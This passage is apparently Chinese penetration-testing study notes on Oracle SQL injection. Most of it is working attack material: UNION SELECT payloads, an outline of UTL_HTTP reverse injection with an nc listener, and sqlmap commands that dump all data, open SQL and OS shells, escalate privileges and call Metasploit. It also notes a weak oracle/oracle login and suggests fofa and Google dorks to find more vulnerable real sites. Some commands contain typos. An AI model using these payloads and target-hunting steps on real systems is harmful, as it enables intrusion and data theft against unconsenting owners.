5.4 使用sqlmap進行Oracle數據庫注入與防御
5.4.1 Oracle數據庫注入基礎
1.SQL注入點判斷
and 1=1 和 and 1=2
2. 判斷數據庫為Oracle
(1) 出錯信息顯示Oracle
(2) 通過注釋符號來判斷
(3) 多行查詢判斷,Oracle不支持多行查詢
3. 獲取基本信息
(1) 獲取字段數,可以使用order by N根據返回的頁面判斷
(2) and 1=2 union select 1,2, (select banner from sys.v_$version where rownum=1), 4,5,6 from dual
(3) 獲取數據庫連接的用戶名
and 1=2 union select 1,2 ( select SYS_CONTEXT('USERENV', 'CURRENT_USER') from dual), 4,5,6 from dual
(4) 獲取日志的絕對路徑
4. 猜測數據庫,表和列名
(1) 爆出數據庫明
(2) 爆表名
(3) 爆字段名
5. Oracle注入過程的特性
(1) 字段類型必須確定
(2) UTL_HTTP存儲過程反彈注入
* 判斷UTL_HTTP存儲過程是否可用
* 本地執行nc監聽端口
* 注入點執行
(3) 系統特性
(4) 創建遠程連接賬號
(5) 命令執行
6. Oracle數據庫導出
(1) 登錄服務器
ssh 22.2.33.3
內網中的弱口令oracle/oracle
(2) 在ssh中執行
7. Oracle數據庫導入
(1) 執行sqlpuls
sqlpuls /nolog
(2) 以DBA進行連接
conn /as sysdba;
(3) 創建需要導入的表空間
create tablespace spms
datafile='d:\xx\xx\spms.dbf'
size 50m
autoextend on;
(4) 創建用戶
create user dbms identified by bmfxheihei;
(5) 授予權限
(6) 導入數據庫
imp dbms/bmfxheihei@dbms full=y file=d:\dbmx.tmp ignore=y
https://www.cnblogs.com/peterpan0707007/p/8242119.html
5.4.2 使用sqlmap進行Oracle數據庫注入命令
1. 需要安裝Oracle支持模塊cx_Oracle
(1) 源碼下載
git clone https://github.com/oracle/python-cx_oracle
(2) 使用pip命令安裝
python -m pip install cx_Oracle --upgrade
(3) Windows下安裝
2. 數據庫命令直連
sqlmap.py -d oracle://User:Password@DBMS_IP:DBMS_PORT/DATABASE_SID
(1) sqlmap.py -u url -f --current-user --current-db --hostname --batch
(2) sqlmap.py -u url --password --privileges --roles --users --is-dba --batch
(3) sqlmap.py -u url --exclude-sysdbs --schema --dbs --batch
(4) sqlmap.py -u url -D dbname --table
(5) sqlmap.py -u url -D dbname --count
(6) sqlmap.py -u url -D dbname -T manage --columns
(7) 導出manager表數據及所有數據
sqlmap.py -u url -D dbname -T manager --dump
sqlmap.py -u url -D dbname --dump-all
(8) SQL shell ,查詢及文件
sqlmap.py -u url --sql-query="sql語句"
sqlmap.py -u url --sql-shell
sqlmap.py -u url --sql-file="具體文件"
(9) os命令及提權
sqlmap.py -u url --os-cmd id
sqlmap.py -u url --os-shell
(10) MSF協助滲透
sqlmap.py -u url --os-pwn --msf-paht /software/metasploit
(11) 向導模式開展測試
sqlmap.py -u url --wizard
(12) Oracle命令行提權
5.4.3 使用AWVS進行漏洞掃描
1. 使用AWVS掃描URL
5.4.4 SQL盲注漏洞利用
1. 使用sqlmap檢測request數據是否存在SQL注入
sqlmap.py -r /root/bmfx.txt
2. 使用sqlmap檢測出SQL注入點所在的數據庫類型
3. 獲取具體的漏洞類型及payload
4. 注意事項
(1) 有的注入點可能是掃描工具掃描出來的結果,顯示存在SQL注入,但是實際測試發現並非存在,無法利用的現象,像這類是誤報
(2) 使用sqlmap進行測試時,盡量做全部的測試,有的注入點可能存在多種類型的SQL注入,測試結束之后,可以選擇一個速度最快的方式進行快速注入
(3) sqlmap中可以使用--batch自動提交參數
(4) 可以使用-o參數進行優化
(5) 發現SQL注入點無法通過sqlmap進行后續工作的時候,可以嘗試使用其他注入工具對注入點進行測試
5. 延伸漏洞挖掘
(1) 使用fofa網站進行關鍵字檢索擴展漏洞目標,例如:custLoginAction.do
(2) 使用百度等搜索引擎進行Google黑客擴展目標,例如:inurl:custLoginAction.do
參考:
http://www.secist.com/archives/448.html
https://www.jianshu.com/p/30c216960bdd
https://blog.csdn.net/csacs/article/details/90145501
https://blog.csdn.net/st415/article/details/78118382
實戰測試環境,參考如下:
https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
